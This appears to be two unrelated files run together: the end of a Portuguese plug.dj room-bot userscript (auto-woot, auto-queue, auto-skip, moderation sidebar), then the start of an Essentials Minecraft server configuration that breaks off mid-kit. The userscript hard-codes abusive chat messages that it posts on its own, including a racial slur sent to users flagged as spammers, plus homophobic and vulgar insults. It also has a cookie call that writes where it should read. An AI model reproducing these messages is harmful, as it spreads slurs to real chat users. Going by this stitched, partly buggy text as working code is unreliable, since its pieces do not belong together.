data.currentcurates + "."); data.newSong(); document.getElementById("button-vote-positive").click(); } if (data.forceSkip) { songId = obj.media.id; return setTimeout(function() { var cMedia; cMedia = API.getMedia(); if (cMedia.id === songId) { return API.moderateForceSkip(); } }, obj.media.duration * 1000); } }; handleVote = function(obj) { return data.users[obj.user.id].updateVote(obj.vote); }; handleUserLeave = function(user) { var disconnectStats, i, u, _i, _len, _ref22; disconnectStats = { id: user.id, time: new Date(), songCount: data.songCount }; i = 0; _ref22 = data.internalWaitlist; for (_i = 0, _len = _ref22.length; _i < _len; _i++) { u = _ref22[_i]; if (u.id === user.id) { disconnectStats['waitlistPosition'] = i - 1; data.setInternalWaitlist(); break; } else { i++; } } data.userDisconnectLog.push(disconnectStats); return data.users[user.id].inRoom(false); }; antispam = function(chat) { var plugRoomLinkPatt, sender; plugRoomLinkPatt = /(\bhttps?:\/\/(www.)?plug\.dj[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])/ig; if (plugRoomLinkPatt.exec(chat.message)) { sender = API.getUser(chat.fromID); if (!sender.ambassador && !sender.moderator && !sender.owner && !sender.superuser) { if (!data.users[chat.fromID]["protected"]) { API.sendChat("Sem spam seu preto"); return API.moderateDeleteChat(chat.chatID); } else { return API.sendChat("Eu deveria expulsá-lo, mas estamos aqui para se diverti!"); } } } }; fans = function(chat) { var msg; msg = chat.message.toLowerCase(); if (msg.indexOf('eowkreowr') !== -1 || msg.indexOf('dsjaodas') !== -1 || msg.indexOf('poekpower') !== -1 || msg.indexOf('fokdsofsdpof') !== -1 || msg.indexOf(':trollface:') !== -1 || msg.indexOf('autowoot:') !== -1) { return API.moderateDeleteChat(chat.chatID); } }; chatUniversals = function(chat) { data.activity(chat); antispam(chat); return fans(chat); }; hook = function(apiEvent, callback) { return API.addEventListener(apiEvent, callback); }; unhook = function(apiEvent, callback) { return API.removeEventListener(apiEvent, callback); }; apiHooks = [ { 'event': API.ROOM_SCORE_UPDATE, 'callback': updateVotes }, { 'event': API.CURATE_UPDATE, 'callback': announceCurate }, { 'event': API.USER_JOIN, 'callback': handleUserJoin }, { 'event': API.DJ_ADVANCE, 'callback': handleNewSong }, { 'event': API.VOTE_UPDATE, 'callback': handleVote }, { 'event': API.CHAT, 'callback': chatCommandDispatcher }, { 'event': API.USER_LEAVE, 'callback': handleUserLeave } ]; initHooks = function() { var pair, _i, _len, _results; _results = []; for (_i = 0, _len = apiHooks.length; _i < _len; _i++) { pair = apiHooks[_i]; _results.push(hook(pair['event'], pair['callback'])); } return _results; }; undoHooks = function() { var pair, _i, _len, _results; _results = []; for (_i = 0, _len = apiHooks.length; _i < _len; _i++) { pair = apiHooks[_i]; _results.push(unhook(pair['event'], pair['callback'])); } return _results; }; initialize(); }).call(this); delay(); loadDammit(); function delay() { setTimeout("load();", 6000); } function load() { var head = document.getElementsByTagName('head')[0]; var script = document.createElement('script'); script.type = 'text/javascript'; script.src = 'http://cookies.googlecode.com/svn/trunk/jaaulde.cookies.js'; script.onreadystatechange = function() { if (this.readyState == 'complete') { loaded(); } } script.onload = readCookies; head.appendChild(script); } function loaded() { loaded = true } function loadDammit() { if (loaded == true) { readCookies(); } } function readCookies() { var currentDate = new Date(); currentDate.setFullYear(currentDate.getFullYear() + 1); var newOptions = { expiresAt: currentDate } jaaulde.utils.cookies.setOptions(newOptions); var value = jaaulde.utils.cookies.get(COOKIE_WOOT); autowoot = value != null ? value : false; value = jaaulde.utils.cookies.get(COOKIE_QUEUE); autoqueue = value != null ? value : false; value = jaaulde.utils.cookies.set(COOKIE_STREAM); stream = value != null ? value : true; value = jaaulde.utils.cookies.get(COOKIE_HIDE_VIDEO); hideVideo = value != null ? value : false; onCookiesLoaded(); } function onCookiesLoaded() { if (autowoot) { setTimeout("$('#button-vote-positive').click();", 6005); } if (autoqueue && !isInQueue()) { joinQueue(); } if (hideVideo) { $('#yt-frame').animate({'height': (hideVideo ? '0px' : '271px')}, {duration: 'fast'}); $('#playback .frame-background').animate({'opacity': (hideVideo ? '0' : '0.91')}, {duration: 'medium'}); } initAPIListeners(); displayUI(); initUIListeners(); populateUserlist(); } var words = { "Points" : "Beats!", "Now Playing" : "Now Spinning!", "Time Remaining" : "Time Remaining!", "Volume" : "Crank the Volume!", "Current DJ" : "Disk Jockey", "Crowd Response" : "Crowd Reaction!", "Fans":"Stalkers!"}; String.prototype.prepareRegex = function() { return this.replace(/([[]^&\$.()\?\/\+{}|])/g, "\$1"); }; function isOkTag(tag) { return (",pre,blockquote,code,input,button,textarea".indexOf(","+tag) == -1); } var regexs=new Array(), replacements=new Array(); for(var word in words) { if(word != "") { regexs.push(new RegExp("\b"+word.prepareRegex().replace(/*/g,'[^ ]*')+"\b", 'gi')); replacements.push(words[word]); } } var texts = document.evaluate(".//text()[normalize-space(.)!='']",document.body,null,6,null), text=""; for(var i=0,l=texts.snapshotLength; (this_text=texts.snapshotItem(i)); i++) { if(isOkTag(this_text.parentNode.tagName.toLowerCase()) && (text=this_text.textContent)) { for(var x=0,l=regexs.length; x<l; x++) { text = text.replace(regexs[x], replacements[x]); this_text.textContent = text; } } } var loaded = false; var mentioned = false; var clicked = false; var skipped = false; var timeToWait = 120000; var clickWait = 5000; var skipWait = 601; var timePassed = 0; var clickPassed = 0; var skipPassed = 0; var timer = null; var clickTimer = null; var skipTimer = null; var COOKIE_WOOT = 'autowoot'; var COOKIE_QUEUE = 'autoqueue'; var COOKIE_STREAM = 'stream'; var COOKIE_HIDE_VIDEO = 'hidevideo'; var MAX_USERS_WAITLIST = 50; var fbMsg = ["Entrem na Pagina da sala: https://www.facebook.com/CantadasdiPedreiro"]; var rulesMsg = "Regras: 1) Video no Maximo 6 minutos. 2) Sem Flood! 3) Nao escrever em colorido 4) Respeitar os Adms e Mods ;s 5) Nao Fiquem Pedindo Cargos. "; var skipMsg = ["por favor não pedir para pular as músicas, quer pular da deslike."]; var fansMsg = ["Virem meu Fan que eu retribuo vocês, não esqueça de da @ Menções"]; var wafflesMsg = ["Ppkas para todos! # - (> _ <) - # "," Alguém disse ppkas? # - (> _ <) - #"]; var bhvMsg = ["por favor, não sejam gays no bate-papo "," por favor, não fale assim, controlar a si mesmo! "," por favor, seja maduros fdps"]; var sleepMsg = ["Ta na hora de dormi, Fui virjs! "," Indo dormir agora "," estou tão cansado, durmi é necessário, fui me cama. "," cansaço ... sono ... e ... fui me dormir."]; var workMsg = ["Estou ocupado não sou Vagabundo igual a vocês."]; var afkMsg = ["Eu estou indo embora e um Vão se foderem."," Vou fica AFK por um tempo, volto em breve! "," Indo embora, volto em breve! "," Vou Viaja nas galáxia, estarei de volta em breve !"]; var backMsg = ["Estou de volta minhas putinhas! "," Adivinha quem está de volta? Quem sera? Claro que é eu o seu Pai :D"]; var autoAwayMsg = ["Atualmente estou AFK "," Eu estou AFK "," Eu estou em uma aventura (afk) "," desapareceu por um momento "," não está presente no teclado."]; var autoSlpMsg = ["Atualmente estou dormindo "," Estou comendo ppkas em meus sonhos"]; var autoWrkMsg = ["Atualmente estou ocupado "," estou ocupado "," fazendo um trabalho relacionado a ppkas."]; overPlayed = ["1:vZyenjZseXA", "1:ZT4yoZNy90s", "1:Bparw9Jo3dk", "1:KrVC5dm5fFc","1:Ys9sIqv42lo", "1:1y6smkh6c-0", "1:jZL-RUZUoGY", "1:CrdoD9T1Heg", "1:6R_Rn1iP82I", "1:ea9tluQ_QtE", "1:f9EM8T5K6d8", "1:aHjpOzsQ9YI", "1:3vC5TsSyNjU", "1:yXLL46xkdlY", "1:_t2TzJOyops", "1:BGpzGu9Yp6Y", "1:YJVmu6yttiw", "1:WSeNSzJ2-Jw", "1:2cXDgFwE13g", "1:PR_u9rvFKzE", "1:i1BDGqIfm8U"];overPlayed = ["1:vZyenjZseXA", "1:ZT4yoZNy90s", "1:Bparw9Jo3dk", "1:KrVC5dm5fFc","1:Ys9sIqv42lo", "1:1y6smkh6c-0", "1:jZL-RUZUoGY", "1:CrdoD9T1Heg", "1:6R_Rn1iP82I", "1:ea9tluQ_QtE", "1:f9EM8T5K6d8", "1:aHjpOzsQ9YI", "1:3vC5TsSyNjU", "1:yXLL46xkdlY", "1:_t2TzJOyops", "1:BGpzGu9Yp6Y", "1:YJVmu6yttiw", "1:WSeNSzJ2-Jw", "1:2cXDgFwE13g", "1:PR_u9rvFKzE", "1:i1BDGqIfm8U"]; var styles = [ '.sidebar {position: fixed; top: 0; height: 100%; width: 200px; z-index: 99999; background-image: linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -o-linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -moz-linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -webkit-linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -ms-linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -webkit-gradient(linear,left bottom,left top,color-stop(0, #000000),color-stop(1, #3B5678));}', '.sidebar#side-right {right: -190px;z-index: 99999;}', '.sidebar#side-left {left: -190px; z-index: 99999; }', '.sidebar-handle {width: 12px;height: 100%;z-index: 99999;margin: 0;padding: 0;background: rgb(96, 141, 197);box-shadow: 0px 0px 15px 0px rgba(0, 0, 0, .9);cursor: "ne-resize";}', '.sidebar-handle span {display: block;position: absolute;width: 10px;top: 50%;text-align: center;letter-spacing: -1px;color: #000;}', '.sidebar-content {position: absolute;width: 185px;height: 100%; padding-left: 15px}', '.sidebar-content2 {position: absolute;width: 185px;height: 100%;}', '.sidebar-content2 h3 {font-weight: bold; padding-left: 5px; padding-bottom: 5px; margin: 0;}', '.sidebar-content2 a {font-weight: bold; font-size: 13px; padding-left: 5px;}', '#side-right .sidebar-handle {float: left;}', '#side-left .sidebar-handle {float: right;}', '#side-right a {display: block;min-width: 100%;cursor: pointer;padding: 4px 5px 8px 5px;border-radius: 4px;font-size: 13px;}', '.sidebar-content2 span {display: block; min-width: 94%;cursor: pointer;border-radius: 4px; padding: 0 5px 0 5px; font-size: 12px;}', '#side-right a span {padding-right: 8px;}', '#side-right a:hover {background-color: rgba(97, 146, 199, 0.65);text-decoration: none;}', '.sidebar-content2 span:hover {background-color: rgba(97, 146, 199, 0.65);text-decoration: none;}', '.sidebar-content2 a:hover {text-decoration: none;}', 'html{background: url("http://i.imgur.com/a75C9wE.jpg") no-repeat scroll center top #000000;}', '#room-wheel {z-index: 2;position: absolute;top: 2px;left: 0;width: 1044px;height: 394px;background: url(http://) no-repeat;display: none;}', '.chat-bouncer {background: url(http://i.imgur.com/9qWWO4L.png) no-repeat 0 5px;padding-left: 17px;width: 292px;}', '.chat-manager{background: url(http://i.imgur.com/hqqhTcp.png) no-repeat 0 5px;padding-left: 17px;width: 292px;}', '.chat-cohost {background: url(https://dl.dropbox.com/u/67634625/chat-bouncer-icon.png) no-repeat 0 5px;padding-left: 17px;width:292px;}', '.chat-host{background: url(https://dl.dropbox.com/u/67634625/chat-bouncer-icon.png) no-repeat 0 5px;padding-left: 17px;width: 292px;}', '#dj-console, #dj-console {background-image: url(http://s8.postimage.org/wpugb8gc5/Comp_2.gif);min-height:33px;min-width:131px;}', '.chat-from-you{color: #0099FF;font-weight: bold;margin-top: 0px; padding-top: 0px;}', '.chat-from-bouncer{color: #800080; font-weight: bold; margin-top: 0px; padding-top: 0px;}', '.chat-from-manager{color: #FFDAB9; font-weight: bold; margin-top: 0px; padding-top: 0px;}', '.chat-from-cohost{color: #FF4500; font-weight: bold; margin-top: 0px; padding-top: 0px;}', '.chat-from-host{color: #32CD32;font-weight: bold;margin-top: 0px; padding-top: 0px;}', '#user-points-title{color: #FFFFFF; position: absolute; left: 36px; font-size: 10px;}', '#user-fans-title{color: #FFFFFF; position: absolute; left: 29px; font-size: 10px;}', '.meta-header span{color: rgba(255, 255, 255, 0.79); position: absolute; left: 15px; font-size: 10px;}', '#button-lobby {background-image: url("http://i.imgur.com/brpRaSY.png");}', '#volume-bar-value{background-image: url("http://i.imgur.com/xmyonON.png") ;}', '#hr-div {;height: 100%;width: 100%;margin: 0;padding-left: 12px;}', '#hr2-div2 {;height: 100%;width: 100%;margin: 0;}', '#hr-style {position: absolute;display: block;height: 20px;width: 100%;bottom: 0%;background-image: url("http://i.imgur.com/gExgamX.png");}', '#hr2-style2 {position: absolute;display: block;height: 20px;width: 94%%;bottom: 0%;background-image: url("http://i.imgur.com/gExgamX.png");}', '#side-left h3 {padding-left: 5px}', ]; var scripts = [ "(function($){$.fn.hoverIntent=function(f,g){var cfg={sensitivity:7,interval:100,timeout:0};cfg=$.extend(cfg,g?{over:f,out:g}:f);var cX,cY,pX,pY;var track=function(ev){cX=ev.pageX;cY=ev.pageY};var compare=function(ev,ob){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);if((Math.abs(pX-cX)+Math.abs(pY-cY))<cfg.sensitivity){$(ob).unbind('mousemove',track);ob.hoverIntent_s=1;return cfg.over.apply(ob,[ev])}else{pX=cX;pY=cY;ob.hoverIntent_t=setTimeout(function(){compare(ev,ob)},cfg.interval)}};var delay=function(ev,ob){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);ob.hoverIntent_s=0;return cfg.out.apply(ob,[ev])};var handleHover=function(e){var ev=jQuery.extend({},e);var ob=this;if(ob.hoverIntent_t){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t)}if(e.type=='mouseenter'){pX=ev.pageX;pY=ev.pageY;$(ob).bind('mousemove',track);if(ob.hoverIntent_s!=1){ob.hoverIntent_t=setTimeout(function(){compare(ev,ob)},cfg.interval)}}else{$(ob).unbind('mousemove',track);if(ob.hoverIntent_s==1){ob.hoverIntent_t=setTimeout(function(){delay(ev,ob)},cfg.timeout)}}};return this.bind('mouseenter',handleHover).bind('mouseleave',handleHover)}})(jQuery);", 'if (jQuery.easing.easeOutQuart === undefined) jQuery.easing.easeOutQuart = function (a,b,c,d,e) { return -d*((b=b/e-1)*b*b*b-1)+c; }', '$("#side-right")', ' .hoverIntent(function() {', ' var timeout_r = $(this)', ' .data("timeout_r");', ' if (timeout_r) {', ' clearTimeout(timeout_r);', ' }', ' $(this)', ' .animate({', ' "right": "0px"', ' }, 300, "easeOutQuart");', ' }, function() {', ' $(this)', ' .data("timeout_r", setTimeout($.proxy(function() {', ' $(this)', ' .animate({', ' "right": "-190px"', ' }, 300, "easeOutQuart");', ' }, this), 500));', ' });', '$("#side-left")', ' .hoverIntent(function() {', ' var timeout_r = $(this)', ' .data("timeout_r");', ' if (timeout_r) {', ' clearTimeout(timeout_r);', ' }', ' $(this)', ' .animate({', ' "left": "0px"', ' }, 300, "easeOutQuart");', ' }, function() {', ' $(this)', ' .data("timeout_r", setTimeout($.proxy(function() {', ' $(this)', ' .animate({', ' "left": "-190px"', ' }, 300, "easeOutQuart");', ' }, this), 500));', ' });' ]; function initAPIListeners() { API.addEventListener(API.DJ_ADVANCE, djAdvanced); API.addEventListener(API.CHAT, autoRespond); API.addEventListener(API.DJ_UPDATE, queueUpdate); API.addEventListener(API.VOTE_UPDATE, function (obj) { populateUserlist(); }); API.addEventListener(API.USER_JOIN, function (user) { populateUserlist(); }); API.addEventListener(API.USER_LEAVE, function (user) { populateUserlist(); }); } function displayUI() { var colorWoot = autowoot ? '#3FFF00' : '#ED1C24'; var colorQueue = autoqueue ? '#3FFF00' : '#ED1C24'; var colorStream = stream ? '#3FFF00' : '#ED1C24'; var colorVideo = hideVideo ? '#3FFF00' : '#ED1C24'; $('#side-right .sidebar-content').append( 'auto woot' + 'auto queue' + 'stream' + 'hide video' + 'rules' + 'like our fb' + 'no fans' + 'no skip' + 'waffles' + 'sleeping' + 'working' + 'afk' + 'available' + 'skip' + 'lock' + 'unlock' + 'lockskip' ); } function initUIListeners() { $("#plug-btn-woot").on("click", function() { autowoot = !autowoot; $(this).css("color", autowoot ? "#3FFF00" : "#ED1C24"); if (autowoot) { setTimeout("$('#button-vote-positive').click();", 6001); } jaaulde.utils.cookies.set(COOKIE_WOOT, autowoot); }); $("#plug-btn-queue").on("click", function() { autoqueue = !autoqueue; $(this).css('color', autoqueue ? '#3FFF00' : '#ED1C24'); if (autoqueue && !isInQueue()) { joinQueue(); } jaaulde.utils.cookies.set(COOKIE_QUEUE, autoqueue); }); $("#plug-btn-stream").on("click", function() { stream = !stream; $(this).css("color", stream ? "#3FFF00" : "#ED1C24"); if (stream == true) { API.sendChat("/stream on"); } else { API.sendChat("/stream off"); } jaaulde.utils.cookies.set(COOKIE_STREAM, stream); }); $("#plug-btn-hidevideo").on("click", function() { hideVideo = !hideVideo; $(this).css("color", hideVideo ? "#3FFF00" : "#ED1C24"); $("#yt-frame").animate({"height": (hideVideo ? "0px" : "271px")}, {duration: "fast"}); $("#playback .frame-background").animate({"opacity": (hideVideo ? "0" : "0.91")}, {duration: "medium"}); jaaulde.utils.cookies.set(COOKIE_HIDE_VIDEO, hideVideo); }); $("#plug-btn-face").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(fbMsg[Math.floor(Math.random() * fbMsg.length)]); } }); $("#plug-btn-rules").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(rulesMsg); } }); $("#plug-btn-fans").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(fansMsg[Math.floor(Math.random() * fansMsg.length)]); } }); $("#plug-btn-noskip").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(skipMsg[Math.floor(Math.random() * skipMsg.length)]); } }); $("#plug-btn-waffles").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(wafflesMsg[Math.floor(Math.random() * wafflesMsg.length)]); } }); $("#plug-btn-sleeping").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); if (Models.user.data.status != 3) { API.sendChat(sleepMsg[Math.floor(Math.random() * sleepMsg.length)]); Models.user.changeStatus(3); } } }); $("#plug-btn-working").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); if (Models.user.data.status != 2) { API.sendChat(workMsg[Math.floor(Math.random() * workMsg.length)]); Models.user.changeStatus(2); } } }); $("#plug-btn-afk").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); if (Models.user.data.status != 1) { API.sendChat(afkMsg[Math.floor(Math.random() * afkMsg.length)]); Models.user.changeStatus(1); } } }); $("#plug-btn-back").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); if (Models.user.data.status != 0) { API.sendChat(backMsg[Math.floor(Math.random() * backMsg.length)]); Models.user.changeStatus(0); } } }); $("#plug-btn-skip").on("click", function() { if (skipped == false) { skipped = true; skipTimer = setInterval("checkSkipped();", 500); new ModerationForceSkipService; } }); $("#plug-btn-lock").on("click", function() { new RoomPropsService(document.location.href.split('/')[3],true,true,1,5); }); $("#plug-btn-unlock").on("click", function() { new RoomPropsService(document.location.href.split('/')[3],false,true,1,5); }); $("#plug-btn-lockskip").on("click", function() { if (skipped == false) { skipped = true; skipTimer = setInterval("checkSkipped();", 500); new RoomPropsService(document.location.href.split('/')[3],true,true,1,5); new ModerationForceSkipService; new RoomPropsService(document.location.href.split('/')[3],false,true,1,5); } }); } function queueUpdate() { if (autoqueue && !isInQueue()) { joinQueue(); } } function isInQueue() { var self = API.getSelf(); return API.getWaitList().indexOf(self) !== -1 || API.getDJs().indexOf(self) !== -1; } function joinQueue() { if ($('#button-dj-play').css('display') === 'block') { $('#button-dj-play').click(); } else if (API.getWaitList().length < MAX_USERS_WAITLIST) { API.waitListJoin(); } } function autoRespond(data) { var a = data.type == "mention" && Models.room.data.staff[data.fromID] && Models.room.data.staff[data.fromID] >= Models.user.BOUNCER, b = data.message.indexOf('@') >0; if (data.type == "mention" && mentioned == false) { if (API.getUser(data.fromID).status == 0) { mentioned = true; timer = setInterval("checkMentioned();", 1000); if (Models.user.data.status == 1) { API.sendChat("@" + data.from + " automsg: " + autoAwayMsg[Math.floor(Math.random() * autoAwayMsg.length)]); } if (Models.user.data.status ==2) { API.sendChat("@" + data.from + " automsg: " + autoWrkMsg[Math.floor(Math.random() * autoWrkMsg.length)]); } if (Models.user.data.status ==3) { API.sendChat("@" + data.from + " automsg: " + autoSlpMsg[Math.floor(Math.random() * autoSlpMsg.length)]); } } } } function djAdvanced(obj) { if (hideVideo) { $("#yt-frame").css("height", "0px"); $("#playback .frame-background").css("opacity", "0.0"); } if (autowoot) { setTimeout("$('#button-vote-positive').click();", 6001); } setTimeout("overPlayedSongs();", 3000); } function overPlayedSongs(data) { if (overPlayed.indexOf(Models.room.data.media.id) > -1) { API.sendChat("/me auto skip ligado, Musica Repetida. Fuck you baby!"); setTimeout("new RoomPropsService(document.location.href.split('/')[3],true,true,1,5);", 300); setTimeout("new ModerationForceSkipService;", 600); setTimeout("new RoomPropsService(document.location.href.split('/')[3],false,true,1,5);", 900); } if (Models.room.data.media.duration > 481) { API.sendChat("/me auto skip ligado, música com mais de 6 minutos seram puladas."); setTimeout("new RoomPropsService(document.location.href.split('/')[3],true,true,1,5);", 300); setTimeout("new ModerationForceSkipService;", 600); setTimeout("new RoomPropsService(document.location.href.split('/')[3],false,true,1,5);", 900); } } function populateUserlist() { var mehlist = ''; var wootlist = ''; var undecidedlist = ''; var a = API.getUsers(); var totalMEHs = 0; var totalWOOTs = 0; var totalUNDECIDEDs = 0; var str = ''; var users = API.getUsers(); var myid = API.getSelf(); for (i in a) { str = '' + a[i].username + ''; if (typeof (a[i].vote) !== 'undefined' && a[i].vote == -1) { totalMEHs++; mehlist += str; } else if (typeof (a[i].vote) !== 'undefined' && a[i].vote == +1) { totalWOOTs++; wootlist += str; } else { totalUNDECIDEDs++; undecidedlist += str; } } var totalDECIDED = totalWOOTs + totalMEHs; var totalUSERS = totalDECIDED + totalUNDECIDEDs; var totalMEHsPercentage = Math.round((totalMEHs / totalUSERS) * 100); var totalWOOTsPercentage = Math.round((totalWOOTs / totalUSERS) * 100); if (isNaN(totalMEHsPercentage) || isNaN(totalWOOTsPercentage)) { totalMEHsPercentage = totalWOOTsPercentage = 0; } mehlist = ' ' + totalMEHs.toString() + ' (' + totalMEHsPercentage.toString() + '%)' + mehlist; wootlist = ' ' + totalWOOTs.toString() + ' (' + totalWOOTsPercentage.toString() + '%)' + wootlist; undecidedlist = ' ' + totalUNDECIDEDs.toString() + undecidedlist; if ($('#side-left .sidebar-content').children().length > 0) { $('#side-left .sidebar-content2').append(); } $('#side-left .sidebar-content2').html(' users: ' + API.getUsers().length + ' '); var spot = Models.room.getWaitListPosition(); var waitlistDiv = $(' ').addClass('waitlistspot').text('waitlist: ' + (spot !== null ? spot + ' / ' : '') + Models.room.data.waitList.length); $('#side-left .sidebar-content2').append(waitlistDiv); $('#side-left .sidebar-content2').append(' '); $(".meanlist").append( ' meh list:' + mehlist + ' ' + ' woot list:' + wootlist + ' ' ); } function checkMentioned() { if(timePassed >= timeToWait) { clearInterval(timer); mentioned = false; timePassed = 0; } else { timePassed = timePassed + 601; } } function checkClicked() { if (clickPassed >= clickWait) { clearInterval(clickTimer); clicked = false; clickPassed = 0; } else { clickPassed = clickPassed + 601; } } function checkSkipped() { if (skipPassed >= skipWait) { clearInterval(skipTimer); skipped = false; skipPassed = 600; } else { skipPassed = skipPassed + 500; } } $('#plugbot-css').remove(); $('#plugbot-js').remove(); $('#chat-messages').append(' Bem vindo auto-skip editado pelo Rafael Moraes 1.0 '); $('body').prepend('' + "\n" + styles.join("\n") + "\n" + ''); $('body').append(' ' + ' ||| ' + ' ' + ' ' + ' ' + ' ||| ' + ' ' + ' ' + ' '); $('body').append('');
dallyswag / Robert Swag############################################################ # +------------------------------------------------------+ # # | Notes | # # +------------------------------------------------------+ # ############################################################ # If you want to use special characters in this document, such as accented letters, you MUST save the file as UTF-8, not ANSI. # If you receive an error when Essentials loads, ensure that: # - No tabs are present: YAML only allows spaces # - Indents are correct: YAML hierarchy is based entirely on indentation # - You have "escaped" all apostrophes in your text: If you want to write "don't", for example, write "don''t" instead (note the doubled apostrophe) # - Text with symbols is enclosed in single or double quotation marks # If you have problems join the Essentials help support channel: http://tiny.cc/EssentialsChat ############################################################ # +------------------------------------------------------+ # # | Essentials (Global) | # # +------------------------------------------------------+ # ############################################################ # A color code between 0-9 or a-f. Set to 'none' to disable. ops-name-color: '4' # The character(s) to prefix all nicknames, so that you know they are not true usernames. nickname-prefix: '~' # The maximum length allowed in nicknames. The nickname prefix is included in this. max-nick-length: 15 # Disable this if you have any other plugin, that modifies the displayname of a user. change-displayname: true # When this option is enabled, the (tab) player list will be updated with the displayname. # The value of change-displayname (above) has to be true. #change-playerlist: true # When essentialschat.jar isn't used, force essentials to add the prefix and suffix from permission plugins to displayname. # This setting is ignored if essentialschat.jar is used, and defaults to 'true'. # The value of change-displayname (above) has to be true. # Do not edit this setting unless you know what you are doing! #add-prefix-suffix: false # If the teleport destination is unsafe, should players be teleported to the nearest safe location? # If this is set to true, Essentials will attempt to teleport players close to the intended destination. # If this is set to false, attempted teleports to unsafe locations will be cancelled with a warning. teleport-safety: true # The delay, in seconds, required between /home, /tp, etc. teleport-cooldown: 3 # The delay, in seconds, before a user actually teleports. If the user moves or gets attacked in this timeframe, the teleport never occurs. teleport-delay: 5 # The delay, in seconds, a player can't be attacked by other players after they have been teleported by a command. # This will also prevent the player attacking other players. teleport-invulnerability: 4 # The delay, in seconds, required between /heal or /feed attempts. heal-cooldown: 60 # What to prevent from /i /give. # e.g item-spawn-blacklist: 46,11,10 item-spawn-blacklist: # Set this to true if you want permission based item spawn rules. # Note: The blacklist above will be ignored then. # Example permissions (these go in your permissions manager): # - essentials.itemspawn.item-all # - essentials.itemspawn.item-[itemname] # - essentials.itemspawn.item-[itemid] # - essentials.give.item-all # - essentials.give.item-[itemname] # - essentials.give.item-[itemid] # - essentials.unlimited.item-all # - essentials.unlimited.item-[itemname] # - essentials.unlimited.item-[itemid] # - essentials.unlimited.item-bucket # Unlimited liquid placing # # For more information, visit http://wiki.ess3.net/wiki/Command_Reference/ICheat#Item.2FGive permission-based-item-spawn: false # Mob limit on the /spawnmob command per execution. spawnmob-limit: 1 # Shall we notify users when using /lightning? warn-on-smite: true # motd and rules are now configured in the files motd.txt and rules.txt. # When a command conflicts with another plugin, by default, Essentials will try to force the OTHER plugin to take priority. # Commands in this list, will tell Essentials to 'not give up' the command to other plugins. # In this state, which plugin 'wins' appears to be almost random. # # If you have two plugin with the same command and you wish to force Essentials to take over, you need an alias. # To force essentials to take 'god' alias 'god' to 'egod'. # See http://wiki.bukkit.org/Bukkit.yml#aliases for more information overridden-commands: # - god # - info # Disabling commands here will prevent Essentials handling the command, this will not affect command conflicts. # Commands should fallback to the vanilla versions if available. # You should not have to disable commands used in other plugins, they will automatically get priority. disabled-commands: # - nick # - clear - mail - mail.send - nuke - afk # These commands will be shown to players with socialSpy enabled. # You can add commands from other plugins you may want to track or # remove commands that are used for something you dont want to spy on. socialspy-commands: - msg - w - r - mail - m - t - whisper - emsg - tell - er - reply - ereply - email - action - describe - eme - eaction - edescribe - etell - ewhisper - pm # If you do not wish to use a permission system, you can define a list of 'player perms' below. # This list has no effect if you are using a supported permissions system. # If you are using an unsupported permissions system, simply delete this section. # Whitelist the commands and permissions you wish to give players by default (everything else is op only). # These are the permissions without the "essentials." part. player-commands: - afk - afk.auto - back - back.ondeath - balance - balance.others - balancetop - build - chat.color - chat.format - chat.shout - chat.question - clearinventory - compass - depth - delhome - getpos - geoip.show - help - helpop - home - home.others - ignore - info - itemdb - kit - kits.tools - list - mail - mail.send - me - motd - msg - msg.color - nick - near - pay - ping - protect - r - rules - realname - seen - sell - sethome - setxmpp - signs.create.protection - signs.create.trade - signs.break.protection - signs.break.trade - signs.use.balance - signs.use.buy - signs.use.disposal - signs.use.enchant - signs.use.free - signs.use.gamemode - signs.use.heal - signs.use.info - signs.use.kit - signs.use.mail - signs.use.protection - signs.use.repair - signs.use.sell - signs.use.time - signs.use.trade - signs.use.warp - signs.use.weather - spawn - suicide - time - tpa - tpaccept - tpahere - tpdeny - warp - warp.list - world - worth - xmpp # Note: All items MUST be followed by a quantity! # All kit names should be lower case, and will be treated as lower in permissions/costs. # Syntax: - itemID[:DataValue/Durability] Amount [Enchantment:Level].. [itemmeta:value]... # For Item meta information visit http://wiki.ess3.net/wiki/Item_Meta # 'delay' refers to the cooldown between how often you can use each kit, measured in seconds. # For more information, visit http://wiki.ess3.net/wiki/Kits kits: Goblin: delay: 3600 items: - 272 1 sharpness:2 unbreaking:1 looting:1 name:&8[&2Goblin&8]&fSword - 306 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fHelmet - 307 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fChestplate - 308 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fLeggings - 309 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fBoots - 256 1 efficiency:1 unbreaking:1 name:&8[&2Goblin&8]&fShovel - 257 1 efficiency:1 unbreaking:1 fortune:1 name:&8[&2Goblin&8]&fPickaxe - 258 1 efficiency:1 unbreaking:1 name:&8[&2Goblin&8]&fAxe - 364 16 Griefer: delay: 14400 items: - 276 1 sharpness:3 unbreaking:3 name:&8[&d&lGriefer&8]&fSword - 322:1 1 - 310 1 protection:2 name:&8[&d&lGriefer&8]&fHelmet - 311 1 protection:2 name:&8[&d&lGriefer&8]&fChestplate - 312 1 protection:2 name:&8[&d&lGriefer&8]&fLeggings - 313 1 protection:2 name:&8[&d&lGriefer&8]&fBoots Villager: delay: 43200 items: - 267 1 sharpness:4 name:&8[&eVillager&8]&fSword - 